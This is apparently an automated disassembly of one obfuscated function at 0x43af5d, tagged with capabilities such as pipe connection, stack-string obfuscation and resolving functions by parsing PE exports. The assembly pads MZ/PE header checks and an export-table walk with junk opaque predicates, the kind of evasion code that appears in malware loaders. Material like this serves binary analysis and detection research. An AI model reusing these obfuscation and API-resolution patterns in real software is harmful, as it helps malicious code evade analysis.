Function at 0x43af5d
Capabilities:
Connect pipe
Contain obfuscated stackstrings
Enumerate pe sections
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1854
call fcn.0047d8e0
and dword [ebp - 0xc], 0
movzx eax, byte [ebp + 0x20]
test eax, eax
je 0x4469d5
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0x10ac], eax
lea eax, [ebp + 8]
mov dword [ebp - 0xf5c], eax
lea eax, [ebp + 0x18]
mov dword [ebp - 0x10ec], eax
mov eax, dword [ebp + 0x24]
mov dword [ebp - 0x10e4], eax
mov eax, dword [ebp - 0xf5c]
movzx eax, byte [eax]
test eax, eax
je 0x4469ab
mov eax, dword [ebp - 0x10e4]
mov dword [ebp - 0x10fc], eax
mov eax, dword [ebp - 0x10ec]
mov dword [ebp - 0x10f4], eax
mov eax, dword [ebp - 0x10f4]
movzx eax, byte [eax]
test eax, eax
je 0x44699f
mov eax, dword [ebp - 0x10fc]
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x184], 0
mov dword [ebp - 0x1114], 0x3e1e01b1
mov dword [ebp - 0x1690], 0
mov dword [ebp - 0x234], 0xe3e45bbb
mov dword [ebp - 0x230], 0x89e022a5
mov dword [ebp - 0x540], 0x6dd2cc9
mov dword [ebp - 0xe6c], 0
mov dword [ebp - 0xe68], 0
mov dword [ebp - 0xe64], 0
mov dword [ebp - 0xe60], 0
mov dword [ebp - 0x45c], 0xfb1a
mov dword [ebp - 0x52c], 0xa77b69c9
mov dword [ebp - 0x3bc], 0
jmp 0x43b072
mov eax, dword [ebp - 0x3bc]
inc eax
mov dword [ebp - 0x3bc], eax
cmp dword [ebp - 0x3bc], 3
jge 0x43b08e
mov eax, dword [ebp - 0x3bc]
mov dword [ebp + eax*4 - 0xe88], 1
jmp 0x43b065
mov eax, dword [ebp - 0x230]
mov dword [ebp - 0x13d8], eax
cmp dword [ebp - 0x52c], 0x29207965
jge 0x43b0b9
push 2
pop eax
test eax, eax
je 0x43b0b9
mov dword [ebp - 0x794], 1
jmp 0x43b0c0
and dword [ebp - 0x794], 0
mov eax, dword [ebp - 0x234]
cmp dword [ebp - 0x794], eax
je 0x43b0e3
mov eax, 0xbf79
test eax, eax
je 0x43b0e3
mov dword [ebp - 0x1104], 1
jmp 0x43b0ea
and dword [ebp - 0x1104], 0
mov eax, dword [ebp - 0x45c]
mov dword [ebp - 0x13e0], eax
mov eax, dword [ebp - 0x540]
mov dword [ebp - 0x13e8], eax
mov eax, dword [ebp - 0x45c]
inc eax
mov dword [ebp - 0x45c], eax
cmp dword [ebp - 0x234], 0xb090
jg 0x43b127
mov dword [ebp - 0xd44], 1
jmp 0x43b12e
and dword [ebp - 0xd44], 0
mov eax, dword [ebp - 0xd44]
mov dword [ebp - 0x230], eax
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0xe88]
cmp dword [ebp - 0x230], eax
jg 0x43b15a
mov dword [ebp - 0xd4c], 1
jmp 0x43b161
and dword [ebp - 0xd4c], 0
cmp dword [ebp - 0xd4c], 0xbecc
jg 0x43b179
mov dword [ebp - 0xd54], 1
jmp 0x43b180
and dword [ebp - 0xd54], 0
mov eax, dword [ebp - 0xd54]
add eax, 7
je 0x43b1a0
cmp dword [ebp - 0x540], 0
je 0x43b1a0
mov dword [ebp - 0xd5c], 1
jmp 0x43b1a7
and dword [ebp - 0xd5c], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xe88]
sub eax, dword [ebp - 0xd5c]
cmp eax, dword [ebp - 0x184]
jg 0x43b1ce
mov dword [ebp - 0x110c], 1
jmp 0x43b1d5
and dword [ebp - 0x110c], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xe88]
mov dword [ebp - 0x13f0], eax
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xe88]
mov dword [ebp - 0x184], eax
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xe88]
cmp eax, dword [ebp - 0x184]
jl 0x43b21c
mov dword [ebp - 0xd64], 1
jmp 0x43b223
and dword [ebp - 0xd64], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0xe6c]
cmp dword [ebp - 0xd64], eax
jne 0x43b243
mov dword [ebp - 0xd6c], 1
jmp 0x43b24a
and dword [ebp - 0xd6c], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xe6c]
cmp dword [ebp - 0xd6c], eax
jge 0x43b274
cmp dword [ebp - 0x184], 0
je 0x43b274
mov dword [ebp - 0xe34], 1
jmp 0x43b27b
and dword [ebp - 0xe34], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xe88]
cmp dword [ebp - 0xe34], eax
jg 0x43b29c
mov dword [ebp - 0xe3c], 1
jmp 0x43b2a3
and dword [ebp - 0xe3c], 0
cmp dword [ebp - 0xe3c], 0xd978029
jge 0x43b2bb
mov dword [ebp - 0xe44], 1
jmp 0x43b2c2
and dword [ebp - 0xe44], 0
mov eax, dword [ebp - 0xe44]
mov dword [ebp - 0x234], eax
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0x52c]
sub ecx, dword [ebp - 0x184]
cmp dword [ebp + eax - 0xe6c], ecx
je 0x43b2f4
mov dword [ebp - 0xd88], 1
jmp 0x43b2fb
and dword [ebp - 0xd88], 0
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0xe6c], 0x1c91930e
je 0x43b319
mov dword [ebp - 0xe4c], 1
jmp 0x43b320
and dword [ebp - 0xe4c], 0
mov eax, dword [ebp - 0xe4c]
mov dword [ebp - 0x230], eax
mov eax, dword [ebp - 0x230]
push 4
pop ecx
shl ecx, 0
imul eax, dword [ebp + ecx - 0xe6c]
mov dword [ebp - 0x234], eax
mov eax, dword [ebp - 0x1114]
cmp dword [ebp - 0x234], eax
jge 0x43b360
mov dword [ebp - 0xe54], 1
jmp 0x43b367
and dword [ebp - 0xe54], 0
mov eax, dword [ebp - 0xe54]
neg eax
cmp dword [ebp - 0x184], eax
je 0x43b383
mov dword [ebp - 0xe28], 1
jmp 0x43b38a
and dword [ebp - 0xe28], 0
mov eax, dword [ebp - 0x52c]
cmp dword [ebp - 0xe28], eax
jle 0x43b3a4
mov dword [ebp - 0xdc0], 1
jmp 0x43b3ab
and dword [ebp - 0xdc0], 0
imul eax, dword [ebp - 0xdc0], 0xfffa
imul eax, dword [ebp - 0xd88]
test eax, eax
jne 0x43b3d1
xor eax, eax
inc eax
je 0x43b3d1
mov dword [ebp - 0x111c], 1
jmp 0x43b3d8
and dword [ebp - 0x111c], 0
push 4
pop eax
shl eax, 1
push 4
pop ecx
shl ecx, 0
mov ecx, dword [ebp + ecx - 0xe88]
cmp dword [ebp + eax - 0xe6c], ecx
jle 0x43b408
cmp dword [ebp - 0x184], 0
je 0x43b408
mov dword [ebp - 0xcac], 1
jmp 0x43b40f
and dword [ebp - 0xcac], 0
mov eax, dword [ebp - 0x540]
cmp dword [ebp - 0xcac], eax
je 0x43b429
mov dword [ebp - 0x5dc], 1
jmp 0x43b430
and dword [ebp - 0x5dc], 0
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0x5dc]
mov dword [ebp + eax - 0xe6c], ecx
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0xcb4], eax
mov dword [ebp - 0x3b0], 0x4a6847df
push 1
push 0
push 1
push 1
push 0xf03
call fcn.0043385b
add esp, 0x14
mov dword [ebp - 0x3b0], 0xffffffe6
jmp 0x43b483
mov eax, dword [ebp - 0x3b0]
inc eax
mov dword [ebp - 0x3b0], eax
cmp dword [ebp - 0x3b0], 8
jne 0x43b4b2
push 1
push 1
push 0x111f
push 1
push 0x5860
push 0x4369
push 0x744a
push 1
call fcn.00431c5a
add esp, 0x20
jmp 0x43b476
mov eax, dword [ebp - 0xcb4]
movzx eax, word [eax]
cmp eax, 0x5a4d
je 0x43b4e6
push 1
push 0x75df
push 1
push 0x6c47
push 0x30db
push 0
push 1
call fcn.004379f6
add esp, 0x1c
jmp 0x446a24
mov dword [ebp - 0x220], 0xfffffffa
mov dword [ebp - 0x240], 0
jmp 0x43b509
mov eax, dword [ebp - 0x240]
inc eax
mov dword [ebp - 0x240], eax
cmp dword [ebp - 0x240], 2
jge 0x43b525
mov eax, dword [ebp - 0x240]
mov dword [ebp + eax*4 - 0xe9c], 0xe0a8eac8
jmp 0x43b4fc
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0xe9c], 0xe
jmp 0x43b553
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xe9c]
inc eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0xe9c], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0xe9c], 0x19
jle 0x43b56f
mov dword [ebp - 0x220], 0xffffffff
jmp 0x43b538
mov dword [ebp - 0x220], 0
jmp 0x43b588
mov eax, dword [ebp - 0x220]
inc eax
mov dword [ebp - 0x220], eax
cmp dword [ebp - 0x220], 1
jg 0x43b5bc
push 0xec5
push 0x5a62
push 1
push 0x18de
push 1
push 0x6e41
push 0
push 1
push 0x4104
call fcn.0043a08e
add esp, 0x24
jmp 0x43b57b
mov eax, dword [ebp - 0xcb4]
mov ecx, dword [ebp - 0x38]
add ecx, dword [eax + 0x3c]
mov dword [ebp - 0x160], ecx
mov dword [ebp - 4], 0
mov dword [ebp - 0x1ac], 0
mov dword [ebp - 0xf48], 0xdbf4
mov dword [ebp - 0xf44], 0xdbf4
mov dword [ebp - 0xf40], 0xdbf4
mov dword [ebp - 0xf3c], 0xdbf4
mov dword [ebp - 0x1b4], 0x2f093d7f
mov dword [ebp - 0xf58], 0
mov dword [ebp - 0xf54], 0
mov dword [ebp - 0xf50], 0
mov dword [ebp - 0xf4c], 0
mov dword [ebp - 0x58c], 0x37ddc4ea
mov dword [ebp - 0xd24], 0x3ada
mov dword [ebp - 0x1134], 1
mov dword [ebp - 0x37c], 0
jmp 0x43b670
mov eax, dword [ebp - 0x37c]
inc eax
mov dword [ebp - 0x37c], eax
cmp dword [ebp - 0x37c], 4
jge 0x43b68c
mov eax, dword [ebp - 0x37c]
mov dword [ebp + eax*4 - 0x12d0], 9
jmp 0x43b663
mov eax, 0x5a97963b
test eax, eax
je 0x43b73b
mov eax, dword [ebp - 4]
cmp dword [ebp - 4], eax
jge 0x43b6b3
cmp dword [ebp - 4], 0
je 0x43b6b3
mov dword [ebp - 0x5e4], 1
jmp 0x43b6ba
and dword [ebp - 0x5e4], 0
mov eax, dword [ebp - 4]
cmp dword [ebp - 0x5e4], eax
jge 0x43b6d1
mov dword [ebp - 0xcbc], 1
jmp 0x43b6d8
and dword [ebp - 0xcbc], 0
mov eax, dword [ebp - 0xcbc]
mov dword [ebp - 0x1ac], eax
cmp dword [ebp - 4], 0xffffffff
jb 0x43b6f6
mov dword [ebp - 0x5ec], 1
jmp 0x43b6fd
and dword [ebp - 0x5ec], 0
mov eax, dword [ebp - 4]
cmp dword [ebp - 0x5ec], eax
je 0x43b717
cmp dword [ebp - 4], 0
jne 0x43b717
and dword [ebp - 0xcc4], 0
jmp 0x43b721
mov dword [ebp - 0xcc4], 1
cmp dword [ebp - 0xcc4], 1
jne 0x43b73b
or eax, 0xffffffff
je 0x43b73b
mov dword [ebp - 0x5f4], 1
jmp 0x43b742
and dword [ebp - 0x5f4], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0xf48]
cmp dword [ebp - 0x5f4], eax
jge 0x43b762
mov dword [ebp - 0xccc], 1
jmp 0x43b769
and dword [ebp - 0xccc], 0
cmp dword [ebp - 0xccc], 0x60813c27
jge 0x43b781
mov dword [ebp - 0x5fc], 1
jmp 0x43b788
and dword [ebp - 0x5fc], 0
mov eax, dword [ebp - 4]
cmp dword [ebp - 0x5fc], eax
jge 0x43b79f
mov dword [ebp - 0xcd4], 1
jmp 0x43b7a6
and dword [ebp - 0xcd4], 0
mov eax, dword [ebp - 4]
cmp dword [ebp - 0xcd4], eax
jge 0x43b7bd
mov dword [ebp - 0x1124], 1
jmp 0x43b7c4
and dword [ebp - 0x1124], 0
mov eax, dword [ebp - 4]
mov dword [ebp - 0x13f8], eax
cmp dword [ebp - 4], 0xffff
je 0x43b7e2
mov dword [ebp - 0x604], 1
jmp 0x43b7e9
and dword [ebp - 0x604], 0
imul eax, dword [ebp - 0x604], 3
cmp eax, dword [ebp - 4]
jle 0x43b842
mov dword [ebp - 0x112c], 0xffffffff
push 0x36b1
push 0x22e6
push 1
push 0x7128
push 0
push 0x5dfa
push 0x3412
push 0x50de
push 0
push 1
push 1
push 0x19b2
lea eax, [ebp - 0x112c]
push eax
push 1
call fcn.00439e47
add esp, 0x38
jmp 0x43b8cf
mov dword [ebp - 0xcdc], 0x9ebe
mov dword [ebp - 4], 0xc
jmp 0x43b85c
mov eax, dword [ebp - 4]
dec eax
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xfffffff4
jg 0x43b8a4
mov dword [ebp - 0x1ac], 0
jmp 0x43b87b
mov eax, dword [ebp - 0x1ac]
inc eax
mov dword [ebp - 0x1ac], eax
cmp dword [ebp - 0x1ac], 4
jge 0x43b897
mov eax, dword [ebp - 0x1ac]
mov dword [ebp + eax*4 - 0xf48], 0x8169
jmp 0x43b86e
cmp dword [ebp - 0xcdc], 0
je 0x43b8a2
jmp 0x43b855
jmp 0x43b855
mov eax, dword [ebp - 0xcdc]
mov dword [ebp - 0x60c], eax
push 4
pop eax
imul eax, eax, 3
mov ecx, dword [ebp - 0x60c]
mov dword [ebp + eax - 0x12d0], ecx
mov eax, dword [ebp - 0x60c]
mov dword [ebp - 0x1b4], eax
mov dword [ebp - 4], 0xffffffe9
jmp 0x43b8df
mov eax, dword [ebp - 4]
inc eax
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffee
jle 0x43bd56
mov dword [ebp - 0xce4], 0xba8a7e8b
mov dword [ebp - 0x588], 1
mov dword [ebp - 0xcfc], 0xfef2
mov dword [ebp - 0x384], 0xffffffff
mov dword [ebp - 0x248], 0
jmp 0x43b92a
mov eax, dword [ebp - 0x248]
inc eax
mov dword [ebp - 0x248], eax
cmp dword [ebp - 0x248], 4
jge 0x43b946
mov eax, dword [ebp - 0x248]
mov dword [ebp + eax*4 - 0xeec], 0x1939efd9
jmp 0x43b91d
or eax, 0xffffffff
je 0x43bafa
mov eax, dword [ebp - 4]
mov dword [ebp - 0x1400], eax
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0xf48]
mov dword [ebp - 0x1408], eax
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xf58]
push 4
pop ecx
imul ecx, ecx, 0
mov ecx, dword [ebp + ecx - 0x12d0]
push 4
pop edx
shl edx, 0
sub ecx, dword [ebp + edx - 0xf58]
sub eax, ecx
imul eax, eax, 0xfffffffb
mov dword [ebp - 0xce4], eax
mov eax, dword [ebp - 0xce4]
cmp dword [ebp - 0x1b4], eax
jle 0x43b9b6
mov dword [ebp - 0x614], 1
jmp 0x43b9bd
and dword [ebp - 0x614], 0
mov eax, dword [ebp - 0x614]
mov dword [ebp - 0x588], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xeec]
cmp dword [ebp - 0x588], eax
je 0x43b9ea
mov dword [ebp - 0xcec], 1
jmp 0x43b9f1
and dword [ebp - 0xcec], 0
mov eax, dword [ebp - 0xcec]
mov dword [ebp - 0x58c], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xeec]
cmp dword [ebp - 0x58c], eax
jle 0x43ba1e
mov dword [ebp - 0x61c], 1
jmp 0x43ba25
and dword [ebp - 0x61c], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x61c]
sub ecx, dword [ebp + eax - 0xeec]
push 4
pop eax
shl eax, 0
cmp ecx, dword [ebp + eax - 0xeec]
je 0x43ba53
mov dword [ebp - 0xcf4], 1
jmp 0x43ba5a
and dword [ebp - 0xcf4], 0
mov eax, dword [ebp - 0xcf4]
mov dword [ebp - 0x1b4], eax
cmp dword [ebp - 0x1b4], 0xfffa
jbe 0x43ba8e
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0xeec], 0
je 0x43ba8e
mov dword [ebp - 0x580], 1
jmp 0x43ba95
and dword [ebp - 0x580], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x580]
mov dword [ebp + eax - 0x12d0], ecx
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xeec]
cmp dword [ebp - 0x580], eax
jl 0x43bad2
mov eax, 0x29ef
test eax, eax
je 0x43bad2
mov dword [ebp - 0x624], 1
jmp 0x43bad9
and dword [ebp - 0x624], 0
mov eax, dword [ebp - 0x624]
mov dword [ebp - 0xcfc], eax
cmp dword [ebp - 0xcfc], 0
je 0x43bafa
mov dword [ebp - 0x62c], 1
jmp 0x43bb01
and dword [ebp - 0x62c], 0
cmp dword [ebp - 0x62c], 0xffffffff
jg 0x43bb16
mov dword [ebp - 0xd04], 1
jmp 0x43bb1d
and dword [ebp - 0xd04], 0
push 4
pop eax
imul eax, eax, 3
mov ecx, dword [ebp - 0xd04]
mov dword [ebp + eax - 0xeec], ecx
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x12d0], 0
je 0x43bcd9
mov dword [ebp - 0x1b4], 0xffffffff
mov eax, dword [ebp - 0x1b4]
mov dword [ebp - 0x1410], eax
mov eax, dword [ebp - 0x588]
cmp dword [ebp - 0x1134], eax
jle 0x43bb74
mov dword [ebp - 0x634], 1
jmp 0x43bb7b
and dword [ebp - 0x634], 0
mov eax, dword [ebp - 0x384]
cmp dword [ebp - 0x634], eax
je 0x43bb95
mov dword [ebp - 0xd0c], 1
jmp 0x43bb9c
and dword [ebp - 0xd0c], 0
mov eax, dword [ebp - 0x58c]
cmp dword [ebp - 0xd0c], eax
jl 0x43bbb6
mov dword [ebp - 0x63c], 1
jmp 0x43bbbd
and dword [ebp - 0x63c], 0
cmp dword [ebp - 0x63c], 0
jb 0x43bbd2
mov dword [ebp - 0xd14], 1
jmp 0x43bbd9
and dword [ebp - 0xd14], 0
mov eax, dword [ebp - 0x384]
add eax, dword [ebp - 0xd14]
jne 0x43bbf5
or eax, 0xffffffff
jne 0x43bbf5
and dword [ebp - 0x644], 0
jmp 0x43bbff
mov dword [ebp - 0x644], 1
mov eax, dword [ebp - 0x384]
cmp dword [ebp - 0x644], eax
jle 0x43bc19
mov dword [ebp - 0x578], 1
jmp 0x43bc20
and dword [ebp - 0x578], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x578]
mov dword [ebp + eax - 0xeec], ecx
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xf58]
cmp dword [ebp - 0x578], eax
jle 0x43bc54
mov dword [ebp - 0xd1c], 1
jmp 0x43bc5b
and dword [ebp - 0xd1c], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0xf48]
cmp dword [ebp - 0xd1c], eax
jne 0x43bc7b
mov dword [ebp - 0x113c], 1
jmp 0x43bc82
and dword [ebp - 0x113c], 0
mov eax, dword [ebp - 0x384]
mov dword [ebp - 0x1418], eax
push 4
pop eax
imul eax, eax, 0
push 4
pop ecx
shl ecx, 0
mov ecx, dword [ebp + ecx - 0xf58]
cmp dword [ebp + eax - 0xeec], ecx
je 0x43bcb6
mov dword [ebp - 0x1144], 1
jmp 0x43bcbd
and dword [ebp - 0x1144], 0
mov eax, dword [ebp - 0xd24]
mov dword [ebp - 0x1420], eax
xor eax, eax
jne 0x43bcd9
mov dword [ebp - 0x64c], 1
jmp 0x43bce0
and dword [ebp - 0x64c], 0
mov eax, dword [ebp - 0x64c]
sub eax, 0x87
push 4
pop ecx
shl ecx, 0
cmp eax, dword [ebp + ecx - 0xf58]
jne 0x43bd06
mov dword [ebp - 0x114c], 1
jmp 0x43bd0d
and dword [ebp - 0x114c], 0
mov eax, dword [ebp - 0xd24]
mov dword [ebp - 0x1428], eax
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0xf48], 0xdae5
jge 0x43bd37
mov dword [ebp - 0x654], 1
jmp 0x43bd3e
and dword [ebp - 0x654], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x654]
mov dword [ebp + eax - 0x12d0], ecx
jmp 0x43b8d8
mov eax, dword [ebp - 0x160]
cmp dword [eax], 0x4550
je 0x43c067
mov dword [ebp - 0x250], 0
jmp 0x43bd81
mov eax, dword [ebp - 0x250]
inc eax
mov dword [ebp - 0x250], eax
cmp dword [ebp - 0x250], 1
jge 0x43bd9d
mov eax, dword [ebp - 0x250]
mov dword [ebp + eax*4 - 0x124], 0xfffffffd
jmp 0x43bd74
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x124], 0xffffffe7
jmp 0x43bdcb
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x124]
inc eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x124], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x124], 0x16
je 0x43c062
mov dword [ebp - 0x38c], 0
jmp 0x43bdf8
mov eax, dword [ebp - 0x38c]
inc eax
mov dword [ebp - 0x38c], eax
cmp dword [ebp - 0x38c], 3
jge 0x43be14
mov eax, dword [ebp - 0x38c]
mov dword [ebp + eax*4 - 0xf10], 0
jmp 0x43bdeb
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xf10]
inc eax
push 4
pop ecx
shl ecx, 0
mov dword [ebp + ecx - 0xf10], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x124], 0
je 0x43be6c
mov byte [ebp - 0x169], 0
push 0
push 0x3c52
push 1
push 0x2d5a
lea eax, [ebp - 0x169]
push eax
push 0
push 1
call fcn.004379f6
add esp, 0x1c
jmp 0x43c05d
mov dword [ebp - 0x1154], 0x17e5c285
mov dword [ebp - 0x258], 0
jmp 0x43be8f
mov eax, dword [ebp - 0x258]
inc eax
mov dword [ebp - 0x258], eax
cmp dword [ebp - 0x258], 2
jge 0x43beab
mov eax, dword [ebp - 0x258]
mov dword [ebp + eax*4 - 0x54c], 0x2bbef7d6
jmp 0x43be82
mov byte [ebp - 0x1a6], 0
push 0
push 0x3040
push 0x7ee9
push 1
lea eax, [ebp - 0x1a6]
push eax
push 1
call fcn.0043889a
add esp, 0x18
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x54c], 2
jmp 0x43beff
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x54c]
dec eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x54c], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x54c], 0
jl 0x43c05d
mov dword [ebp - 0x116c], 0x8963ec58
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x54c]
mov eax, dword [ebp + eax*4 - 0xf10]
push 4
pop ecx
imul ecx, ecx, 0
mov ecx, dword [ebp + ecx - 0x54c]
sub eax, dword [ebp + ecx*4 - 0xf10]
mov dword [ebp - 0x1154], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x124], 0xffff
jbe 0x43bf6a
mov dword [ebp - 0xd34], 1
jmp 0x43bf71
and dword [ebp - 0xd34], 0
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x54c], 1
jne 0x43bf8d
mov dword [ebp - 0x115c], 1
jmp 0x43bf94
and dword [ebp - 0x115c], 0
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0xf10], 0
jne 0x43bfbd
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0xf10], 0
jne 0x43bfbd
and dword [ebp - 0xd2c], 0
jmp 0x43bfc7
mov dword [ebp - 0xd2c], 1
cmp dword [ebp - 0xd2c], 0x761b
jle 0x43bfdf
mov dword [ebp - 0x65c], 1
jmp 0x43bfe6
and dword [ebp - 0x65c], 0
cmp dword [ebp - 0x65c], 0x5741
jle 0x43bffe
mov dword [ebp - 0x1164], 1
jmp 0x43c005
and dword [ebp - 0x1164], 0
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x124], 0xe2db80eb
je 0x43c024
mov dword [ebp - 0xd3c], 1
jmp 0x43c02b
and dword [ebp - 0xd3c], 0
mov eax, dword [ebp - 0xd34]
cmp eax, dword [ebp - 0xd3c]
jl 0x43c045
mov dword [ebp - 0x668], 1
jmp 0x43c04c
and dword [ebp - 0x668], 0
mov eax, dword [ebp - 0x668]
mov dword [ebp - 0x116c], eax
jmp 0x43bee4
jmp 0x43bdb0
jmp 0x446a24
mov dword [ebp - 0xf0], 0xffffffff
mov dword [ebp - 0x1430], 0x664087a9
mov dword [ebp - 0xf0], 0x13
jmp 0x43c094
mov eax, dword [ebp - 0xf0]
dec eax
mov dword [ebp - 0xf0], eax
cmp dword [ebp - 0xf0], 0xd
jg 0x43c21b
mov dword [ebp - 0x11dc], 0xacff
mov dword [ebp - 0xa78], 0
mov dword [ebp - 0x670], 0xfffffff7
mov dword [ebp - 0xa8], 0
jmp 0x43c0d8
mov eax, dword [ebp - 0xa8]
inc eax
mov dword [ebp - 0xa8], eax
cmp dword [ebp - 0xa8], 1
jge 0x43c0f4
mov eax, dword [ebp - 0xa8]
mov dword [ebp + eax*4 - 0x100], 0xfffffffe
jmp 0x43c0cb
mov dword [ebp - 0xa8], 0
jmp 0x43c10d
mov eax, dword [ebp - 0xa8]
inc eax
mov dword [ebp - 0xa8], eax
cmp dword [ebp - 0xa8], 3
jge 0x43c129
mov eax, dword [ebp - 0xa8]
mov dword [ebp + eax*4 - 0x170c], 0xb421dd2e
jmp 0x43c100
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x100]
mov dword [ebp - 0x1438], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x100]
mov dword [ebp - 0x1440], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x100]
mov dword [ebp - 0x1448], eax
mov eax, dword [ebp - 0x11dc]
mov dword [ebp - 0x1450], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x100]
mov dword [ebp - 0x1458], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x100]
mov dword [ebp - 0x1460], eax
mov eax, dword [ebp - 0xf0]
mov dword [ebp - 0xa78], eax
mov eax, dword [ebp - 0xa78]
mov dword [ebp - 0x670], eax
mov eax, dword [ebp - 0x670]
mov dword [ebp - 0x1468], eax
mov eax, dword [ebp - 0xf0]
mov dword [ebp - 0x1470], eax
mov eax, dword [ebp - 0xf0]
mov dword [ebp - 0x1478], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x100]
mov dword [ebp - 0x1480], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x100]
mov dword [ebp - 0x1488], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x100]
sub eax, dword [ebp - 0xf0]
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x170c], eax
jmp 0x43c087
push 8
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x160]
lea eax, [ecx + eax + 0x78]
mov dword [ebp - 0x5c], eax
mov dword [ebp - 0x110], 0xfffe
mov dword [ebp - 0x128], 0xffffffff
mov dword [ebp - 0x1d8], 7
mov eax, 0xffff
test eax, eax
je 0x43c35e
mov eax, dword [ebp - 0x1d8]
mov dword [ebp - 0x1490], eax
mov eax, dword [ebp - 0x110]
mov dword [ebp - 0x1498], eax
mov eax, 0xfbd1
imul eax, eax, 0xffff
test eax, eax
je 0x43c295
cmp dword [ebp - 0x1d8], 0
je 0x43c295
mov dword [ebp - 0xc80], 1
jmp 0x43c29c
and dword [ebp - 0xc80], 0
mov eax, dword [ebp - 0xc80]
neg eax
cmp eax, dword [ebp - 0x110]
jle 0x43c2b8
mov dword [ebp - 0x678], 1
jmp 0x43c2bf
and dword [ebp - 0x678], 0
mov eax, dword [ebp - 0x128]
cmp eax, dword [ebp - 0x678]
jle 0x43c2d9
mov dword [ebp - 0x11e4], 1
jmp 0x43c2e0
and dword [ebp - 0x11e4], 0
mov eax, dword [ebp - 0x128]
mov dword [ebp - 0x14a0], eax
cmp dword [ebp - 0x1d8], 0
je 0x43c301
mov dword [ebp - 0xa80], 1
jmp 0x43c308
and dword [ebp - 0xa80], 0
mov eax, dword [ebp - 0xa80]
add eax, 0x11c3
jne 0x43c327
cmp dword [ebp - 0x128], 0
jne 0x43c327
and dword [ebp - 0x11ec], 0
jmp 0x43c331
mov dword [ebp - 0x11ec], 1
mov eax, dword [ebp - 0x1d8]
mov dword [ebp - 0x14a8], eax
mov eax, dword [ebp - 0x110]
mov dword [ebp - 0x1534], eax
cmp dword [ebp - 0x128], 0
je 0x43c35e
mov dword [ebp - 0x11f4], 1
jmp 0x43c365
and dword [ebp - 0x11f4], 0
mov eax, dword [ebp - 0x128]
mov dword [ebp - 0x153c], eax
mov eax, dword [ebp - 0x1d8]
cmp dword [ebp - 0x110], eax
jle 0x43c38b
mov dword [ebp - 0x680], 1
jmp 0x43c392
and dword [ebp - 0x680], 0
mov eax, dword [ebp - 0x1d8]
cmp dword [ebp - 0x680], eax
jle 0x43c3ac
mov dword [ebp - 0x11fc], 1
jmp 0x43c3b3
and dword [ebp - 0x11fc], 0
mov eax, dword [ebp - 0x128]
